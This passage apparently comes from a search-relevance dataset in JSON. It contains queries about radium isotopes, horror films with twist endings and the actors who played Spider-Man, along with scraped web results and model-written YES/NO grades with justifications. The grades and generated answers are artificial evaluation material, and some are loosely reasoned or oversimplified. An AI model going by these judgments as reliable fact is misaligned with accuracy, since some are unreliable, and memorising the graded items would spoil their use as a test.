                "text": "From Wikipedia, the free encyclopedia\n\t \n Main isotopes of radium\u00a0(88Ra)   \n \n Iso\u00adtope\n Decay\n \n abun\u00addance\n half-life (t 1/2)\n mode\n pro\u00adduct\n \n  223Ra\n trace\n11.43\u00a0d\n \u03b1\n  219Rn\n \n 224Ra\ntrace\n3.6319\u00a0d\n\u03b1\n  220Rn\n \n 225Ra\ntrace\n14.9\u00a0d\n \u03b2\u2212 \n  225Ac\n \n 226Ra\ntrace\n1600\u00a0y\n\u03b1\n  222Rn\n \n 228Ra\ntrace\n5.75\u00a0y\n\u03b2\u2212\n  228Ac\n           view   talk   edit       \n Radium (88Ra) has no stable or nearly stable isotopes, and thus a standard atomic weight cannot be given. The longest lived, and most common, isotope of radium is 226Ra with a half-life of 1600\u00a0years. 226Ra occurs in the decay chain of  238U (often referred to as the radium series). Radium has 33 known isotopes from 202Ra to 234Ra.\n In 2013 it was discovered that the nucleus of radium-224 is pear-shaped. [1]  This was the first discovery of an asymmetric nucleus.\nList of isotopes[edit]\n \nNuclide  [n 1] \nHistoricname\n  Z \n  N \n Isotopic mass (Da)  [n 2]   [n 3] \n Half-life \n Decaymode   [n 4] \n Daughterisotope   [n 5] \n Spin and parity   [n 6]   [n 7] \n Isotopicabundance\n \nExcitation energy [n 7] \n \n 202Ra\n88\n114\n202.00989(7)\n2.6(21)\u00a0ms[0.7(+33\u22123)\u00a0ms]\n0+\n \n 203Ra\n88\n115\n203.00927(9)\n4(3)\u00a0ms\n \u03b1\n 199Rn\n(3/2\u2212)\n \n \u03b2+  (rare)\n 203Fr\n \n 203mRa\n220(90)\u00a0keV\n41(17)\u00a0ms\n\u03b1\n 199Rn\n(13/2+)\n \n\u03b2+ (rare)\n 203Fr\n \n 204Ra\n88\n116\n204.006500(17)\n60(11)\u00a0ms[59(+12\u22129)\u00a0ms]\n\u03b1 (99.7%)\n 200Rn\n0+\n \n\u03b2+ (.3%)\n 204Fr\n \n 205Ra\n88\n117\n205.00627(9)\n220(40)\u00a0ms[210(+60\u221240)\u00a0ms]\n\u03b1\n 201Rn\n(3/2\u2212)\n \n\u03b2+ (rare)\n 205Fr\n \n 205mRa\n310(110)#\u00a0keV\n180(50)\u00a0ms[170(+60\u221240)\u00a0ms]\n\u03b1\n 201Rn\n(13/2+)\n \n IT (rare)\n 205Ra\n \n 206Ra\n88\n118\n206.003827(19)\n0.24(2)\u00a0s\n\u03b1\n 202Rn\n0+\n \n 207Ra\n88\n119\n207.00380(6)\n1.3(2)\u00a0s\n\u03b1 (90%)\n 203Rn\n(5/2\u2212, 3/2\u2212)\n \n\u03b2+ (10%)\n 207Fr\n \n 207mRa\n560(50)\u00a0keV\n57(8)\u00a0ms\nIT (85%)\n 207Ra\n(13/2+)\n \n\u03b1 (15%)\n 203Rn\n \n\u03b2+ (.55%)\n 207Fr\n \n 208Ra\n88\n120\n208.001840(17)\n1.3(2)\u00a0s\n\u03b1 (95%)\n 204Rn\n0+\n \n\u03b2+ (5%)\n 208Fr\n \n 208mRa\n1800(200)\u00a0keV\n270\u00a0ns\n(8+)\n \n 209Ra\n88\n121\n209.00199(5)\n4.6(2)\u00a0s\n\u03b1 (90%)\n 205Rn\n5/2\u2212\n \n\u03b2+ (10%)\n 209Fr\n \n 210Ra\n88\n122\n210.000495(16)\n3.7(2)\u00a0s\n\u03b1 (96%)\n 206Rn\n0+\n \n\u03b2+ (4%)\n 210Fr\n \n 210mRa\n1800(200)\u00a0keV\n2.2",
                "model_trace": "Query Decomposition:\n1. {chemical formula for the naturally occurring isotope of radium}: The document lists isotopes of radium and their properties, but does not explicitly provide chemical formulas -> ([0], UNSURE)\n2. {naturally occurring isotope of radium with the longest half-life}: The document states that the longest-lived and most common isotope of radium is 226Ra with a half-life of 1600 years -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponent is {naturally occurring isotope of radium with the longest half-life}, which is satisfied. Even though the document does not explicitly provide the chemical formula, it is clear that the chemical formula for radium-226 would simply be \"Ra\". Thus, the document provides the necessary information for the user to infer the chemical formula.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Radium",
                "url": "https://en.wikipedia.org/wiki/Radium",
                "published_date": null,
                "text": "Radium,\u00a088Ra         Radium   Pronunciation   \u200b( RAY-dee-\u0259m )   Appearance silvery white metallic    Mass number  [226]   Radium in the periodic table    \n \n \n \n Hydrogen\n Helium\n \n Lithium\n Beryllium\n Boron\n Carbon\n Nitrogen\n Oxygen\n Fluorine\n Neon\n \n Sodium\n Magnesium\n Aluminium\n Silicon\n Phosphorus\n Sulfur\n Chlorine\n Argon\n \n Potassium\n Calcium\n Scandium\n Titanium\n Vanadium\n Chromium\n Manganese\n Iron\n Cobalt\n Nickel\n Copper\n Zinc\n Gallium\n Germanium\n Arsenic\n Selenium\n Bromine\n Krypton\n \n Rubidium\n Strontium\n Yttrium\n Zirconium\n Niobium\n Molybdenum\n Technetium\n Ruthenium\n Rhodium\n Palladium\n Silver\n Cadmium\n Indium\n Tin\n Antimony\n Tellurium\n Iodine\n Xenon\n \n Caesium\n Barium\n Lanthanum\n Cerium\n Praseodymium\n Neodymium\n Promethium\n Samarium\n Europium\n Gadolinium\n Terbium\n Dysprosium\n Holmium\n Erbium\n Thulium\n Ytterbium\n Lutetium\n Hafnium\n Tantalum\n Tungsten\n Rhenium\n Osmium\n Iridium\n Platinum\n Gold\n Mercury (element)\n Thallium\n Lead\n Bismuth\n Polonium\n Astatine\n Radon\n \n Francium\n Radium\n Actinium\n Thorium\n Protactinium\n Uranium\n Neptunium\n Plutonium\n Americium\n Curium\n Berkelium\n Californium\n Einsteinium\n Fermium\n Mendelevium\n Nobelium\n Lawrencium\n Rutherfordium\n Dubnium\n Seaborgium\n Bohrium\n Hassium\n Meitnerium\n Darmstadtium\n Roentgenium\n Copernicium\n Nihonium\n Flerovium\n Moscovium\n Livermorium\n Tennessine\n Oganesson\n   \n Ba \u2191 Ra \u2193(Ubn)\n \n francium \u2190 radium \u2192 actinium\n   \n     Atomic number (Z) 88    Group   group\u00a02 (alkaline earth metals)     Period   period\u00a07     Block  \u00a0 s-block     Electron configuration  [Rn] 7s2    Electrons per shell 2, 8, 18, 32, 18, 8, 2   Physical properties    Phase at\u00a0STP   solid     Melting point  973\u00a0K \u200b(700\u00a0\u00b0C, \u200b1292\u00a0\u00b0F) (disputed)     Boiling point  2010\u00a0K \u200b(1737\u00a0\u00b0C, \u200b3159\u00a0\u00b0F)     Density (near\u00a0r.t.) 5.5\u00a0g/cm3     Heat of fusion  8.5\u00a0kJ/mol     Heat of vaporization  113\u00a0kJ/mol      Vapor\u00a0pressure  \n \n  P \u00a0(Pa)\n1\n10\n100\n1\u00a0k\n10\u00a0k\n100\u00a0k\n \nat\u00a0 T \u00a0(K)\n819\n906\n1037\n1209\n1446\n1799\n   \n    Atomic properties    Oxidation states   +2 (expected\u00a0to have a strongly basic oxide)    Electrone",
                "model_trace": "Query Decomposition:\n1. {chemical formula for radium}: The document provides the chemical symbol for radium, which is \"Ra\" -> ([1], SATISFIED)\n2. {naturally occurring isotope of radium with the longest half-life}: The document mentions \"Mass number [226]\" which refers to Radium-226, the naturally occurring isotope with the longest half-life -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "Radium - Element information, properties and uses",
                "url": "https://www.rsc.org/periodic-table/element/88/radium",
                "published_date": null,
                "text": "Transcript :\n \n Chemistry in its element: radium    (Promo)   You're listening to Chemistry in its element brought to you by Chemistry World, the magazine of the Royal Society of Chemistry.   (End promo)    Chris Smith  Hello, this week the self illuminating story of element number 88. Here's Brian Clegg.  Brian Clegg  There's something about Radium that is deliciously Victorian. It's not just that this radioactive element was discovered at the end of the Victorian era in 1898. There's also something about its early use as a universal restorative that has a peculiarly period feel. It was seen as a source of energy and brightness, it was included in toothpastes and quack potions - it was even rubbed into the scalp as a hair restorer.  But the application of radium that would bring it notoriety was its use in glow-in-the-dark paint. Frequently used to provide luminous readouts on clocks and watches, aircraft switches and instrument dials, the eerie blue glow of radium was seen as a harmless, practical source of night time illumination. It was only when a number of the workers who painted the luminous dials began to suffer from sores, anaemia and cancers around the mouth that it was realized that something was horribly wrong. The women workers would regularly bring their paintbrushes to a point by licking them. This left enough radioactive residue in their mouths to cause cell damage. Eventually over 100 of the workers would die from the effects.  A more famous victim of radium was its discoverer, the double Nobel prize winner Marie Curie, born Maria Sklodowska. Working with her husband Pierre, Marie Curie was studying pitchblende, a mineral from North Bohemia that contained uranium. Pitchblende was mined near what's now Jachymov in the Czech Republic, and after the uranium had been extracted to be used to colour pottery glazes and tint photographs, the residual slag was dumped in a nearby forest. Without the uranium, the pitchblende proved still to be radioactive - in fact whatever the other radioactive material wa",
                "model_trace": "Query Decomposition:\n1. {chemical formula for radium}: The document discusses radium but does not provide its chemical formula -> ([1], UNSATISFIED)\n2. {naturally occurring isotope of radium with the longest half-life}: The document does not mention specific isotopes of radium or their half-lives -> ([0], UNSURE)\n\nAssessment: The document does not satisfy the subcomponent related to the chemical formula for radium, and it does not provide information on the naturally occurring isotope of radium with the longest half-life. Therefore, it is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "best horror movie with a twist ending",
        "grid_pos": [
            0,
            7
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. Best horror movie with a twist ending: The answer could be \"The Sixth Sense\" - a supernatural horror film about a child psychologist who discovers one of his young patients can see and communicate with the dead, culminating in a famous twist ending.\n\n2. Funniest comedy movie where the main character can't stop talking: The answer could be \"Monty Python and the Holy Grail\" - a classic British comedy where the main characters, a group of knights on a quest, frequently engage in absurdist and fast-paced dialogue.\n\n3. Sci-fi movie about a guy who gets stuck in a time loop: The answer could be \"Edge of Tomorrow\" - a sci-fi action film where a soldier in a future war gets stuck repeating the same day over and over again.\n\n4. Animated movie with a magical creature that helps a young person go on a journey: The answer could be \"Spirited Away\" - a Japanese animated fantasy film where a young girl enters a supernatural world and is aided by a dragon-like creature on her journey of self-discovery.\n\n5. Action movie about a retired spy who gets pulled back into the game: The answer could be \"Taken\" - a thriller about a retired CIA operative who must use his particular set of skills to rescue his daughter from human traffickers."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Hereditary (2018) - IMDb",
                "url": "https://www.imdb.com/title/tt7784604/",
                "published_date": "2018-06-08",
                "text": "Videos11 More like this 6.8 Us 7.3 It Review The first half promising, the second half incomprehensible. This film starts off intriguing, then something happens midway through; the writer gave up. He quit. Or got lazy. Or both. He had the audience with him and then...poof, he completely allowed this to veer into absolute ludicrousness. And the ending is one of the all-time dumbest I've ever seen. It's difficult to fathem why Toni Collette and Gabriel Byrne signed on to this other than the possibility that they share a genetic link to the director. 13SecondFilmReviews Jun 20, 2020 FAQ32 Contribute to this page Suggest an edit or add missing content More to explore",
                "model_trace": "Query Decomposition:\n1. {best horror movie}: The document is about the movie \"Hereditary,\" which is a horror movie -> ([1], SATISFIED)\n2. {with a twist ending}: The document does not provide any information about whether \"Hereditary\" has a twist ending -> ([0], UNSURE)\n\nAssessment: Since the document does not provide information about whether the movie has a twist ending, it does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "It Follows (2014) - IMDb",
                "url": "https://www.imdb.com/title/tt3235888/",
                "published_date": "2015-03-13",
                "text": "Videos4 More like this 6.8 Us For 19-year-old Jay, autumn should be about school, boys, and weekends out at the lake. But after a seemingly-innocent sexual encounter, she is plagued by strange visions and the inescapable sense that someone, or something, is following her. Faced with this burden, Jay and her friends must find a way to escape the horrors that seem to be only a few steps behind. \u2014Jose Tamayo Plot summary Plot synopsis Review A Modern Horror Classic Inspired by 70's and 80's horror, it follows is a refreshing psychological horror film with a simple premise and a chilling concept. The cinematography is electrifying, every shot is beautiful and the score holds brilliance, it carries a very obvious John Carpenter vibe to it. The tension is raw, avoiding cheap jump scares and relies on music. Its eerie atmosphere is extremely effective keeping you inches above your seat for the majority of the runtime. The characters are interesting, providing depth and emotional attachment, most modern horror films seem to forget the importance of character development, its nice to see the genre hasn't completely lost it yet. There are several jumps scares, but they work, as they are not carried with unnecessary piecing music jolts but with the use of disturbing and sudden imagery. The only errors I could detect were the unconventional editing style, the transitions were a little dodgy lacking fluency, this left the film to appear choppy at times but this flaw can be easily forgiven. Its outstanding cinematography and soundtrack make up for this. The film leaves a daunting stain of disturbing after effects that follow you for a long while, with a constant reminder to always check behind your back. An exceptional low budget indie horror film, strongly recommend. SushiStoner103 Apr 19, 2015 Top picks Sign in to rate and Watchlist for personalized recommendations Sign in 7.3 It 6.8 Us FAQ6 Contribute to this page Suggest an edit or add missing content What is the streaming release date of It Follows (2014) in Australia? An",
                "model_trace": "Query Decomposition:\n1. {best horror movie}: This document is about the horror movie \"It Follows\" -> ([1], SATISFIED)\n2. {with a twist ending}: The document does not explicitly mention whether \"It Follows\" has a twist ending -> ([0], UNSURE)\n\nAssessment: The document provides information about a horror movie, but it does not specify whether it has a twist ending. Since the key subcomponent about the twist ending cannot be evaluated, the document does not fully satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "\u201cThe Black Phone\u201d is a creepy, retro thriller | Slice of SciFi",
                "url": "https://www.sliceofscifi.com/2022/06/24/review-the-black-phone/",
                "published_date": "2022-06-24",
                "text": "\u201cThe Black Phone\u201d is a taut and creepy thriller. Sometimes blurring the line between dreams and reality, it will keep you wondering what will come next. Set in the 1970\u2019s, the film effectively uses the setting to create a believable scenario for its nightmare plot.\nThe movie begins in 1978 in North Denver at a what may be a Little League game. Pitcher Finney (Mason Thames) is on the mound throwing to Bruce (Tristan Pravong) in a climactic showdown. Later Bruce is on his bicycle when the film slows down to show a black van with the words \u201cAbracadabra\u201d on the side approaching. Soon Bruce has gone missing and is another victim of the \u201cGrabber.\u201d \nFinney and his sister Gwen (Madeleine McGraw) are having breakfast with their father (Jeremy Davies) reading his newspaper. Finney gets reprimanded for making slurping sounds with his cereal. His sister makes a noise opening the breadbox and immediately apologizes. You can sense that they are in an abusive relationship with their parent with Mom nowhere to be seen. \nAs the siblings are walking to school, they hear the chants of \u201cFight, fight, fight.\u201d Moose (J. Gaven Wilde) and Robin (Miguel Cazarez Mora) are squaring off. Moose is the bigger person, but quickly gets bested. In a gruesome scene, Robin continually punches the prone Moose in the face. \nAt school, we see Finney being pursued by 3 bullies into a bathroom. As he is about to get beaten up, Robin shows up and pulls rank on the others. He tells them to leave Finney alone or they will have to answer to him. Unfortunately for Finney, Robin is later seen near the black van and disappears like Bruce.\nGwen gets called into the school office to meet with two police detectives. She shared a dream she had about Bruce with his sister. In it there were black balloons present. The police let her know that they have not made that information public and wonder how she knows. \nAt home Finney discovers Gwen being savagely beaten with a belt by his father. Dad is furious that the police have become involved because of her dreams. Ap",
                "model_trace": "Query Decomposition:\n1. {best horror movie}: The document is a review of a horror movie, \"The Black Phone\" -> ([1], SATISFIED)\n2. {with a twist ending}: The document does not provide any information about the movie having a twist ending -> ([0], UNSURE).\n\nAssessment: The only relevant subcomponent is {best horror movie}, which is satisfied. However, the document does not provide information about a twist ending, which is crucial for the query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Excellent Horrors With a Twist",
                "url": "https://www.imdb.com/list/ls068549865/",
                "published_date": null,
                "text": "Enjoy some of my favourite, and lesser-known horror films that invest in a strong script, unique ideas and vexing resolutions that will linger and make you think. If you appreciate novel story lines and unexpected twists these are for you. All films rated 8/10 or above                Two girls must battle a mysterious evil force when they get left behind at their boarding school over winter break.    Director  Oz Perkins  Stars  Emma Roberts   Kiernan Shipka   Lucy Boynton     9/10: This film instantly hooked into me and confounded me so that I was compelled to watch it a second time days after the first viewing. We follow two storylines: first, two girls are left alone in a large boarding school. One of them is vulnerable and clearly troubled, sinking deeper into mental frailty, while the other is a rebel with a pragmatic view on life. In the other story, we see another girl travelling alone, headed towards the same boarding school. Taken in by a kind man and his seething wife, all three travellers have their secret motivations. The story is unlike anything else on offer and is an instant horror classic that deserves to find a wide audience, despite its puzzling but enthralling storytelling. Superior horror that is truly innovative, it demands to be seen over and over.               A young woman is followed by an unknown supernatural force after a sexual encounter.    Director  David Robert Mitchell  Stars  Maika Monroe   Keir Gilchrist   Olivia Luccardi     9/10: Chilling atmosphere that will cling to you, this film is the most effective safe-sex movie ever invented. With its menancing, slow-moving antagonist that can take on shifting form, the film delivers non-stop scares for our young heroine, who seeks to figure out how to break the pattern of the stalking figure gaining ground, ever closer to its target.               A young woman becomes trapped inside a house and is unable to contact the outside world as mysterious forces haunt it.    Director  Gustavo Hern\u00e1ndez  Stars  Florencia Colucci   Abel Tripald",
                "model_trace": "Query Decomposition:\n1. {best horror movie}: The document lists horror movies that are highly rated (8/10 or above) -> ([1], SATISFIED)\n2. {with a twist ending}: The document specifically mentions horror films with \"unexpected twists\" -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by listing highly rated horror movies with twist endings. YES."
            },
            {
                "grade": "YES",
                "title": "10 Good Horror Movies That Were Made Great By Twist ...",
                "url": "https://screenrant.com/horror-movies-great-twist-endings/",
                "published_date": null,
                "text": "Summary\n        \n                \n                    \n                                        Some horror movies have twist endings that greatly enhance the overall story, elevating them to greater heights and leaving a strong final impression.\n                        \n                    \n                                        Twist endings have been used in horror movies since the 1920s, with some becoming iconic and defining the genre. While this narrative trick can be overused, it has resulted in some of the best movie endings ever.\n                        \n                    \n                                        The twist endings in horror movies like Sinister, The Wicker Man, and Saw completely change the tone and add complexity to the story, increasing the horror and leaving audiences shocked and reevaluating the entire film.\n                        \n            \n    \n        \n    \n                    Some horror movies have featured twist endings that are so effective that they have elevated the entire movie. Horror movies often attempt to deliver a final fright right at the end to leave a strong final impression. While this does not always work, some examples of this narrative trick have been so effective that they have vastly improved the rest of the story, including in some of the best horror movies of all time.\n    \n    \n                    Horror movies having twist endings is a trope that traces back to 1920's The Cabinet of Doctor Caligari. A slew of subsequent horror films have attempted to recapture the gravity of that, although not all of them achieved a similar legacy. While this trope can indeed be overused, it led to a few of the best movie endings ever.\n    \n        \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\t\t\t\n\t\t\n\t\n            10 \n        \n                            Sinister\n                    \n       \n                \n    \n    \n    \n                \n    \n                \n        \n                                                            \n                                                            ",
                "model_trace": "Query Decomposition:\n1. {best horror movie}: The document lists horror movies that are considered to have great twist endings, which implies a selection of notable horror movies -> ([1], SATISFIED)\n2. {with a twist ending}: The document specifically discusses horror movies that are made great by their twist endings -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it lists horror movies with twist endings, which aligns well with the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "26 Horror Movie Plot Twists Guaranteed To Blow Your ...",
                "url": "https://www.buzzfeed.com/alliehayes/best-horror-movie-plot-twists",
                "published_date": null,
                "text": "26 Horror Movie Plot Twists That'll Actually Make Your Jaw Drop This post is literally ONLY spoilers.   \n  \n  \n  \n    \n    \n      We recently asked members of our BuzzFeed Community what horror movie plot twist absolutely BLEW THEIR MIND, and their answers did not disappoint! But BEWARE, there are MANY spoilers ahead:\n    \n  \n \n  \n  \n  \n    \n      1.\n    \n    \n       Cabin in the Woods (2012)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      2.\n    \n    \n       Don't Hang Up (2016)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      4.\n    \n    \n       Goodnight Mommy (2008)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      5.\n    \n    \n       Us (2019)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      6.\n    \n    \n       You're Next (2011)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      7.\n    \n    \n       The Craft (1996)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      8.\n    \n    \n       The Boy (2016)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      9.\n    \n    \n       Terrifier (2017)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      10.\n    \n    \n       The Others (2001)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      11.\n    \n    \n       The Uninvited (2009)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      12.\n    \n    \n       Skeleton Key (2004)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      13.\n    \n    \n       The Orphanage (2007)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      14.\n    \n    \n       The Thing (1982)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      15.\n    \n    \n       Pet Sematary (1982)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      16.\n    \n    \n       The Visit (2015)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      17.\n    \n    \n       Orphan (2009)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      18.\n    \n    \n       Insidious (2010)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      19.\n    \n    \n       Secret Window (2004)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      20.\n    \n    \n       Silence of the Lambs (1991)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  \n    \n      22.\n    \n    \n       The Mist (2007)\n    \n  \n  \n    \n    \n  \n \n  \n  \n  ",
                "model_trace": "Query Decomposition:\n1. {best horror movie}: The document lists multiple horror movies, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {with a twist ending}: The document specifically focuses on horror movies with plot twists, so this subcomponent is met -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "what is the real name of the actor who played spiderman",
        "grid_pos": [
            0,
            8
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Person",
        "reasoning_trace": [
            "The queries generated are specific, detailed, and require a deep understanding of people, companies, and inventions to answer properly. They test Exa's ability to understand complex queries that go beyond simple keyword matching.\n\n1. \"who is the ceo of tesla\" - The answer is Elon Musk. This query requires knowledge of the leadership and key figures at major technology companies.\n\n2. \"what is the name of the person who founded apple\" - The answer is Steve Jobs. This query requires knowledge of the founders and history of major tech companies.\n\n3. \"what is the real name of the actor who played spiderman\" - The answer is Tom Holland. This query requires knowledge of actors and the characters they have portrayed.\n\n4. \"what is the nationality of the person who invented the telephone\" - The answer is Scottish. This query requires knowledge of the history of important inventions and their inventors.\n\n5. \"what is the highest degree earned by the person who invented the internet\" - The answer is PhD. This query requires knowledge of the educational background of important technology pioneers."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Tobey Maguire - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Tobey_Maguire",
                "published_date": "2002-12-31",
                "text": "From Wikipedia, the free encyclopedia\n\nTobey Maguire Maguire at the 2014 Toronto International Film Festival Born Tobias Vincent Maguire June 27, 1975 (age 47) [1] Santa Monica, California, U.S. Occupations Actor film producer Years active 1989\u2013present Works Full list Spouse Jennifer Meyer \n \u200b \u200b (m. 2007; sep. 2016) \u200b Children 2 \n Tobias Vincent Maguire (born June 27, 1975) is an American actor and film producer. He is known for playing the title character from Sam Raimi's Spider-Man trilogy (2002\u20132007), a role he reprised in 2021's Spider-Man: No Way Home .\n He started his career in supporting roles in the films This Boy's Life (1993), The Ice Storm , Deconstructing Harry (both 1997), and Fear and Loathing in Las Vegas (1998). His leading roles include Pleasantville (1998), Ride with the Devil (1999), The Cider House Rules (1999), Wonder Boys (2000), Seabiscuit (2003), The Good German (2006), Brothers (2009), The Great Gatsby (2013), and Pawn Sacrifice (2014).\n He received a Golden Globe Award nomination for Best Actor in a Motion Picture Drama for Brothers (2009). Maguire established his own production company in 2012 called Material Pictures, and co-produced Good People (2012), and Pawn Sacrifice (2014). [2] [3]\n\nEarly life and family\nTobias Vincent Maguire was born on June 27, 1975, in Santa Monica, California, to Wendy Brown and Vincent Maguire. [1] [4] [5] His parents (mostly Scottish-Americans) [6] separated when he was two years old, and Maguire spent much of his childhood living with various family members. [7] \n During his childhood, Maguire entertained the idea of becoming a chef and wanted to enroll in a home economics class as a sixth grader. His mother offered him $100 to take a drama class instead, and he agreed. [8] The transient nature of his school years began to take a toll on Maguire emotionally, and after another relocation for his freshman year, he dropped out of high school and did not return. Instead, he pursued an acting career. [9] By 2000, he had obtained his General Educational Develop",
                "model_trace": "Query Decomposition:\n1. {real name of the actor who played Spider-Man}: This document provides the full name of Tobey Maguire, who is known for playing Spider-Man in Sam Raimi's Spider-Man trilogy -> ([1], SATISFIED)\n\nAssessment: The document clearly provides the real name of the actor who played Spider-Man, which is Tobias Vincent Maguire. YES."
            },
            {
                "grade": "YES",
                "title": "Tom Holland - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Tom_Holland",
                "published_date": "2010-03-30",
                "text": "From Wikipedia, the free encyclopedia\n\nTom Holland Holland at the 2016 San Diego Comic-Con Born Thomas Stanley Holland 1 June 1996 (age 26)London, England Education BRIT School Occupation Actor Years active 2006\u2013present Works Roles and awards Parent Dominic Holland (father) \n Thomas Stanley Holland (born 1 June 1996) is an English actor. His accolades include a British Academy Film Award and three Saturn Awards. Some publications have called him one of the most popular actors of his generation. [a] \n Holland's career began at age nine when he enrolled in a dancing class, where a choreographer noticed him and arranged for him to audition for a role in Billy Elliot the Musical at London's Victoria Palace Theatre. After two years of training, he secured a supporting part in 2008 and was upgraded to the title role that year, which he played until 2010. Holland made his film debut in the disaster drama The Impossible (2012) as a teenage tourist trapped in a tsunami, for which he received praise. After this, Holland decided to pursue acting as a full-time career, appearing in How I Live Now (2013) and playing historical figures in the film In the Heart of the Sea (2015) and the miniseries Wolf Hall (2015).\n Holland achieved international recognition playing Spider-Man/Peter Parker in six Marvel Cinematic Universe (MCU) superhero films, beginning with Captain America: Civil War (2016). The following year, Holland received the BAFTA Rising Star Award and became the youngest actor to play a title role in an MCU film in Spider-Man: Homecoming . The sequels Far From Home (2019) and No Way Home (2021) each grossed more than $1 billion worldwide, and the latter became the highest-grossing film of the year. He had another action film role in Uncharted (2022), and also expanded to play against-type roles in the crime dramas The Devil All the Time (2020) and Cherry (2021). Holland has additionally directed the short film Tweet (2015) and voiced roles in computer-animated features, including Onward (2020).\n\nEarly life\n\nThomas Sta",
                "model_trace": "Query Decomposition:\n1. {real name of the actor who played Spider-Man}: The document clearly states that the actor's real name is Thomas Stanley Holland -> ([1], SATISFIED).\n\nAssessment: The document directly provides the real name of the actor who played Spider-Man, which is Thomas Stanley Holland. YES."
            },
            {
                "grade": "NO",
                "title": "John Paxton - IMDb",
                "url": "https://www.imdb.com/name/nm0668123/",
                "published_date": "2011-11-17",
                "text": "Biography Awards Trivia IMDbPro John Paxton(1920-2011) Actor Producer IMDbProStarmeter See rank John Paxton was born on 14 July 1920 in Missouri, USA. He was an actor and producer, known for Spider-Man 3 (2007), Spider-Man (2002) and A Simple Plan (1998). He was previously married to Mary Lou Gray. He died on 17 November 2011 in Rancho Santa Fe, California, USA. IMDbProStarmeter See rank Photos Known for Spider-Man 3 6.3 Houseman 2007 Spider-Man 7.4 Houseman 2002 A Simple Plan 7.5 Mr. Schmitt 1998 Spider-Man 2 7.4 Houseman 2004 Credits Edit IMDbPro Actor Previous 16 Oz the Great and Powerful Elder Tinker 2013 Drag Me to Hell Old Couple at Diner 2009 Spider-Man 3 Houseman 2007 Medium Older Man TV Series 2005 Spider-Man 2 Houseman 2004 Boomtown Old Man TV Series 2003 Spider-Man Houseman 2002 Frailty Janitor in Lobby 2001 A Simple Plan Mr. Schmitt 1998 Denial Clergyman 1998 Traveller Financial Planner 1997 Last Man Standing Blair Richardson 1996 Barb Wire Smooth 1996 Frank & Jesse Working Man 1994 Psycho Cop Returns Mr. Stonecipher 1993 Producer Previous 1 Personal details Edit John Lane 5\u2032 7\u2033 (1.70 m) July 14, 1920 Missouri, USA November 17, 2011 Rancho Santa Fe, California, USA(undisclosed) Mary Lou GrayDecember 1, 1951 - November 17, 2011 (his death, 4 children) Bill Paxton Did you know Edit Trivia Father of Bill Paxton Related news Contribute to this page Suggest an edit or add missing content Learn more about contributing Edit page More to explore",
                "model_trace": "Query Decomposition:\n1. {real name of the actor}: The query is asking for the real name of the actor who played Spider-Man.\n2. {actor who played Spider-Man}: This subcomponent is looking for the specific actor who portrayed Spider-Man in the movies.\n\nEvaluation:\n1. {real name of the actor}: The document provides the name John Paxton, but it does not clarify that he played Spider-Man -> ([1], UNSATISFIED)\n2. {actor who played Spider-Man}: The document mentions that John Paxton played a character named Houseman in the Spider-Man movies, not Spider-Man himself -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy either of the key subcomponents. It does not provide the real name of the actor who played Spider-Man and instead provides information about an actor who played a different character in the Spider-Man movies. NO."
            },
            {
                "grade": "YES",
                "title": "Every actor who has played Spider-Man",
                "url": "https://www.yardbarker.com/entertainment/articles/every_actor_who_has_played_spider_man/s1__34308392",
                "published_date": null,
